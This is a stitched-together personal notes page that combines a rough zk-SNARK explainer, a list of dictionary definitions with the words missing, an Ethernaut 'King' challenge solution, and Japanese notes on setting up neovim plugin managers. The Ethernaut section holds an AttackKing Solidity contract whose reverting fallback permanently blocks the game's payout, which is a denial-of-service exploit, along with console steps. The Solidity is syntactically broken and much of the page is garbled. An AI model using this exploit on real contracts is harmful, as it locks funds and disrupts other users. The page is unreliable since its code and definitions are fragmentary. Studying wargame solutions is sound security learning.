learning how to be deploying Dapps by using Substrate && Solana!

An approximate introduction to how zk-SNARKs are possible

An approximate introduction to how zk-SNARKs are possible

zk-SNARKs ("zero knowledge succinct arguments of knowledge").

A zk-SNARK allows you to generate a proof that some computation has some particular output, in such a way that the proof can be verified extremely quickly even if the underlying computation takes a very long time to run.

The "ZK" ("zero knowledge") part adds an additional feature: the proof can keep some of the inputs to the computation hidden.

In the context of blockchains, this has two very powerful applications:

1.Scalability: if a block takes a long time to verify, one person can verify it and generate a proof, and everyone else can just quickly verify the proof instead
2.Privacy: you can prove that you have the right to transfer some asset (you received it, and you didn't already transfer it) without revealing the link to which asset you received. This ensures security without unduly leaking information about who is transacting with whom to the public.

Why ZK-SNARKs "should" be hard

Fiat–Shamir heuristic

It only takes one deliberately inserted error, that a random check would almost never catch, to make a computation give a completely incorrect result.


If tasked with the problem of coming up with a zk-SNARK protocol, many people would make their way to this point and then get stuck and give up.
How can a verifier possibly check every single piece of the computation, without looking at each piece of the computation individually? But it turns out that there is a clever solution.


12 + 1 = 13
10 + 8 = 18
15 + 8 = 23
15 + 13 = 28

C(x)= 5X + 13

Comparing a polynomial to itself

F(x+2) = F(x) + F(x+1) within the integer range {0, 1...98} {F(100) would be the 100th Fibonacci number}.
F(x+2) - F(x+1) - F(x) would not be exactly zero, as it could give arbitrary answers outside the range x ={0, 1...98}

Polynomial P is zero across some set S ={x1,x2...Xn} P(x) = Z(x) * H(x) , where Z(x) = (x - x1) * (x - x2) ... (x - Xn) and H(x) is polynomial

any polynomial that equals zero across some set is a (polynomial) multiple of the simplest (lowest-degree) polynomial that equals zero across that same set.

Smart Contract Vocabulary

Smart Contract Vocabulary

planned or carried out with great care

extremely thorough and careful.

a basic element : foundation a cornerstone of foreign policy.

an imperfection or abnormality that impairs quality, function, or utility

in an intentional manner : with awareness of what one is doing : PURPOSELY

very importantly

an object, such as a tool, that was made in the past:

a brief or temporary failure of concentration, memory, or judgement.

: to come to think or judge : CONSIDER

something that impedes(such as a lack of age)

looking back on or dealing with past events or situations.

the process of removing impurities or unwanted elements from a substance.


toward or at a point lying ahead in space or time : FORWARD

v: try hard to do or achieve something.
n: an attempt to achieve a goal.


Application Binary Interface (ABI)

integrated development environment (IDE)

The Practical Byzantine Fault Tolerance (PBFT)

A Ponzi scheme
an investment fraud that pays existing investors with funds collected from new investors.

wrongful or criminal deception intended to result in financial or personal gain.

diverse in character or content.

a measure of how many units of information a system can process in a given amount of time.

fair and impartial.

the action of supplying or distributing something, especially for official purposes.

to provide or serve as a remedy for : RELIEVE

an act, process, or instance of beginning

having elytra or scales

of similar character.

accept (a belief, theory, or change) willingly and enthusiastically.


showing willingness to allow the existence of opinions or behaviour that one does not necessarily agree with.

(with reference to an increase) more and more rapidly.

an instrument for measuring the distance travelled by a wheeled vehicle.

produce or provide

RSA (Rivest–Shamir–Adleman) is a public-key cryptosystem that is widely used for secure data transmission.

the quality or state of being marked by or using only few words to convey much meaning

algebraic expressions that consist of variables and coefficients


a structure-preserving map between two algebraic structures of the same type (such as two groups, two rings, or two vector spaces).

take (a position of power or importance) illegally or by force.

putting on or marked by airs of superiority

a poor smallholder or agricultural labourer of low social status

wrongful or criminal deception intended to result in financial or personal gain.

to withdraw or retreat from : leave behind

an alternative plan that may be used in an emergency.

make full use of and derive benefit from (a resource).

causing great damage or harm

be a sign of; indicate.

to cause something to have no effect:

to make level or smooth
to make dull or uninspired —often used with out

laid out
knock (someone) down or unconscious.

to have a place in : occupy, inhabit.

persuade (an unwilling person) to do something by using force or threats.

the process of converting several collections (themselves stored in a single collection) into one single collection that contains all of the items in the collections you had before.

a person or group that enters or takes part in something.

(in number theory) with respect to or using a modulus of a specified number. Two numbers are congruent modulo a given number if they give the same remainder when divided by that number.

to blend or combine thoroughly

complete and including everything that is necessary:

a confusing and difficult problem or question.

in Latin means "let him beware" and comes from the verb cavēre, meaning "to be on guard."

defined as a way to show disappointment or dismay, as a more proper version of the word "damn."

using or based on what one feels to be true even without conscious reasoning; instinctive.

Add to list Share. Use the phrase in a nutshell when you want to make it clear that you're going to sum something up in just a few words.

in the interest of/ as a representative of

the essential substance or details of a matter; basics; crux.

large or heavy and therefore difficult to carry or use; unwieldy.

the supposed ability to move objects at a distance by mental power or other non-physical means.

not possible to do easily or conveniently; impracticable.

withdraw (a statement or accusation) as untrue or unjustified.

make (something bad) less severe, serious, or painful.

a qualification, achievement, quality, or aspect of a person's background, especially when used to indicate their suitability for something.

fix (data or parameters) in a program in such a way that they cannot be altered without modifying the program.

make full use of and derive benefit from (a resource).

use (something) to bad effect or for a bad purpose; misuse.

a state in which two things are able to exist or occur together without problems or conflict.

ad nauseam
used to refer to the fact that something has been done or repeated so often that it has become annoying or tiresome.

having the necessary ability, knowledge, or skill to do something successfully.

to come to think or judge

evidence or proof of something.

a stagnant state or condition : a state or condition marked by lack of flow, movement, or development

a policy model that encompasses both politics and economics and seeks to transfer the control of economic factors from the public sector to the private sector. Many neoliberalism policies enhance the workings of free market capitalism and attempt to place limits on government spending, government regulation, and public ownership.

destroy or damage (metal, stone, or other materials) slowly by chemical action.

an act of criticizing

try hard to do or achieve something.

government by the wealthy.

the state of having no protection from something harmful.

secret agreement or cooperation

not anticipated or predicted.

lasting or existing for a long or apparently infinite time; enduring or continually recurring.

marked by compact precise expression without wasted words

zk-SNARKs ("zero knowledge succinct arguments of knowledge").

: to make known through divine inspiration

more than is necessary, acceptable, or reasonable

: to fail to perform as expected

A fatal illness, accident, etc. causes death:

(of an object) easily broken or damaged.

having a common endpoint or border

9. King /Ethernaut-Solution

9. King

// SPDX-License-Identifier: MIT

pragma solidity ^0.6.0;
contract King {

//we have three instance

address payable king;
uint public prize;
address payable public owner;
constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;

receive() external payable { //external payable is to send ether,

//Its gonna hit receive cuz that's what's going to catch it there is no fallback here, so receive gonna catch that.

require(msg.value >= prize || msg.sender == owner);
//we're going to call this fallback function and we're going to make sure that the value we put into this contract
//is greater than its current prize because we have to satisfy this requirement condition and provided we do

king.transfer(msg.value); //kingになりすましてtransfer //we wanna them to stop here right now
//will create a malicious contract
//it doesn't have a fallback function that can take the money of there's a problem in that fallback function in this contract
//this transaction that's calling this function here is going to fail
//this is going to break and that's exactly what we're trying to do here
//because we are trying to prevent anybody else from ever becoming king by paying money into this fallback funtion here
//so we want to stop here, A maricious contract that's going to have a malicious fallback function
//and when this transaction function gets called to send our malicious contract money, we're gonna blow up

//we'll be able to you know pass the line here
//send money to the current king and then we wil become king and msg.sender is going to be the address of the attack king smart contrat

king = msg.sender;
//As a result, the calling is not going to be able to this line here
//and as a result, we will always be king forever and ever
//that's what ended that ponzi game called king of ether which I showed you

prize = msg.value;


//the way that we're going to do this is we're going to create

function _king() public view returns (address payable) {
return king;


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// we could not fallback function and then transaction that executed this function would fail
//and then this ponzi game would end forever because we would always be king and nobody would be able to pass king statement to get to this line to become the king
contract AttackKing {
constructor(address _king) public payable {//payable is exceed the prize limit //king had the prize limit of five and we wanted send six to
address(_king).call { value : msg.value }(""); //ここのやり方がnew way //we're putting these double quotes in here cuz inside of this call method when you're sending ether to someone,
//you need to include these parenthese and these double quotes which basically states that i'm not calling a specific function
//it's gonna be the first four bytes of a function that's hashed so we're not calling anything specific we're just sending in general with you know remaining gas
//that's usually going to fall under a fallback function for the contract we're sending it to
//or it's gonna hit a receive function which is going to receive the ether fallback so these two locations this is going to hit when we send it
//we're going to specify the fallback function
//king is gona be our address,the address of this attack king smart contract
fallback() external payable {//functionじゃなくてfallback
revert('You lose!');
await contract.prize()
 o {negative: 0, words: Array(3), length: 2, red: null}length: 2negative: 0red: nullwords: Array(3)0: 130088961: 14901161length: 3[[Prototype]]: Array(0)[[Prototype]]: Object 
  • check the amount of wei of Ether (13008896)
await contract.prize()
o {negative: 0, words: Array(3), length: 2, red: null}
length: 2
negative: 0
red: null
words: (3) [13008896, 14901161, empty]
[[Prototype]]: Object
  • check the currently contract address of king
await contract._king()
  • and then deploy the contract address '0xb88c9b391cC0564009b89AeDb53d83597212e07A send over 13008896 wei
  • check the change address of king!
await contract._king()


Most of Ethernauts levels try to expose (in an oversimplified form of course) something that actually happened — a real hack or a real bug.

In this case, see: King of the Ether and King of the Ether Postmortem.





neovim dein 導入 =>
vim-plug導入 =>
neovim dein 実践 =>


結局、.vimrcで設定しないと dein.vim も vim-plug も起動しない。

前回設定したvimを壊してみる .vimrcのreset (怖い) でもneovimを使いたい!

  • init.vimがneovimの主な設定になる

neovim installしてみる

brew install neovim
~ git:(main)  nvim -version
NVIM v0.7.0
Build type: Release
LuaJIT 2.1.0-beta3
Compiled by brew@Monterey
Features: +acl +iconv +tui
See ":help feature-compile"
system vimrc file: "$VIM/sysinit.vim"
fall-back for $VIM: "/usr/local/Cellar/neovim/0.7.0/share/nvim"
Run :checkhealth for more info

設定ファイル init.vim 作成

mkdir -p ~/.config/nvim
touch ~/.config/nvim/init.vim


git:(main)  cd ~/.config/nvim
mkdir dein
cd dein
curl []( > [](
sh ./ ~/.config/nvim/dein

nvim下にtoml ディレクトリを作成。plugin記述用の dein.tomlとdein_lazy.tomlを作成

nvim git:(main)  ls
dein     init.vim plugged  toml





repo = 'GitHubの開発者名/GitHubのリポジトリ名'

別途、プラグインマネージャvim-plug導入してみる deinとどっちがplugin管理楽かなぁ

git:(main)  sh -c 'curl -fLo "${XDG_DATA_HOME:-$HOME/.local/share}"/nvim/site/autoload/plug.vim --create-dirs \
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
Dload  Upload   Total   Spent    Left  Speed
100 83129  100 83129    0     0   148k      0 --:--:-- --:--:-- --:--:--  150k

Nerd Fontを導入。

  ~ git:(main)  mkdir -p ~/.local/share/fonts
  ~ git:(main)  cd ~/.local/share/fonts && curl -fLo "Droid Sans Mono for Powerline Nerd Font Complete.otf" [ Sans Mono Nerd Font Complete.otf](
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
Dload  Upload   Total   Spent    Left  Speed
0     0    0     0    0     0      0      0 --:--:--  0:00:01 --:--:--     0
100 2047k  100 2047k    0     0   914k      0  0:00:02  0:00:02 --:--:-- 4485k

結局、.vimrcで設定しないと dein.vim も vim-plug も起動しない。

前回設定したvimを壊してみる .vimrcのreset (怖い) でもneovimを使いたい!